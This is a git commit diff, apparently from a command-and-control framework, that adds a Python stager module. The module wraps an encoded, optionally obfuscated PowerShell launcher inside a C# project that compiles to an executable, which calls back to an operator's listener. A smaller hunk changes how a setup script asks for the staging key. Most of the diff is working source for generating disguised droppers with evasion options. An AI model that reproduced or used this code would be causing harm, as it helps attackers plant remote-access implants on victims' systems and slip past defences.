Added moved csharp launcher.
Jim Shaver
parent
7bb1879d39
commit
94ceb0df58
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@ -0,0 +1,132 @@
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from lib.common import helpers
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import shutil
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class Stager:
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def __init__(self, mainMenu, params=[]):
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self.info = {
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'Name': 'C# PowerShell Launcher',
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'Author': ['@elitest'],
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'Description': ('Generate a PowerShell C# solution with embedded stager code that compiles to an exe'),
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'Comments': [
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'Based on the work of @bneg'
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]
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}
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# any options needed by the stager, settable during runtime
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self.options = {
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# format:
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# value_name : {description, required, default_value}
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'Listener' : {
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'Description' : 'Listener to generate stager for.',
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'Required' : True,
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'Value' : ''
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},
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'Language' : {
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'Description' : 'Language of the stager to generate.',
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'Required' : True,
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'Value' : 'powershell'
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},
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'Listener' : {
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'Description' : 'Listener to use.',
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'Required' : True,
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'Value' : ''
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},
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'StagerRetries' : {
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'Description' : 'Times for the stager to retry connecting.',
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'Required' : False,
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'Value' : '0'
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},
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'UserAgent' : {
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'Description' : 'User-agent string to use for the staging request (default, none, or other).',
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'Required' : False,
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'Value' : 'default'
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},
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'Proxy' : {
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'Description' : 'Proxy to use for request (default, none, or other).',
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'Required' : False,
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'Value' : 'default'
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},
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'ProxyCreds' : {
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'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
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'Required' : False,
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'Value' : 'default'
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},
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'OutFile' : {
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'Description' : 'File to output zip to.',
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'Required' : True,
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'Value' : '/tmp/launcher.src'
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},
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'Obfuscate' : {
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'Description' : 'Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell only.',
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'Required' : False,
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'Value' : 'False'
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},
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'ObfuscateCommand' : {
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'Description' : 'The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.',
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'Required' : False,
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'Value' : r'Token\All\1'
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}
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}
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# save off a copy of the mainMenu object to access external functionality
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# like listeners/agent handlers/etc.
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self.mainMenu = mainMenu
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for param in params:
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# parameter format is [Name, Value]
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option, value = param
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if option in self.options:
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self.options[option]['Value'] = value
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def generate(self):
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listenerName = self.options['Listener']['Value']
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# staging options
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language = self.options['Language']['Value']
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userAgent = self.options['UserAgent']['Value']
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proxy = self.options['Proxy']['Value']
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proxyCreds = self.options['ProxyCreds']['Value']
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stagerRetries = self.options['StagerRetries']['Value']
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obfuscate = self.options['Obfuscate']['Value']
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obfuscateCommand = self.options['ObfuscateCommand']['Value']
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outfile = self.options['OutFile']['Value']
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if not self.mainMenu.listeners.is_listener_valid(listenerName):
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# not a valid listener, return nothing for the script
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print helpers.color("[!] Invalid listener: " + listenerName)
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return ""
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else:
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obfuscateScript = False
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if obfuscate.lower() == "true":
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obfuscateScript = True
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if obfuscateScript and "launcher" in obfuscateCommand.lower():
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print helpers.color("[!] If using obfuscation, LAUNCHER obfuscation cannot be used in the C# stager.")
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return ""
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# generate the PowerShell one-liner with all of the proper options set
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launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=True, obfuscate=obfuscateScript, obfuscationCommand=obfuscateCommand, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries)
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if launcher == "":
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print helpers.color("[!] Error in launcher generation.")
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return ""
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else:
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launcherCode = launcher.split(" ")[-1]
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directory = self.mainMenu.installPath + "/data/misc/cSharpTemplateResources/cmd/"
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destdirectory = "/tmp/cmd/"
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shutil.copytree(directory,destdirectory)
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lines = open(destdirectory + 'cmd/Program.cs').read().splitlines()
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lines[19] = "\t\t\tstring stager = \"" + launcherCode + "\";"
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open(destdirectory + 'cmd/Program.cs','w').write('\n'.join(lines))
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shutil.make_archive(outfile,'zip',destdirectory)
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shutil.rmtree(destdirectory)
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return outfile
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@ -1,6 +1,6 @@
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#!/usr/bin/env python
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import sqlite3, os, string, hashlib, random, thread,threading
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import sqlite3, os, string, hashlib, random
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###################################################
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@ -20,14 +20,7 @@ punctuation = '!#%&()*+,-./:;<=>?@[]^_{|}~'
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# otherwise prompt the user for a set value to hash for the negotiation password
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if STAGING_KEY == "BLANK":
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timeout = 2.0
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timer = threading.Timer(timeout, thread.interrupt_main)
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try:
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timer.start()
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choice = raw_input("\n [>] Enter server negotiation password, enter for random generation: ")
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except KeyboardInterrupt:
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choice = raw_input()
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pass
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if choice == "":
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# if no password is entered, generation something random
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STAGING_KEY = ''.join(random.sample(string.ascii_letters + string.digits + punctuation, 32))
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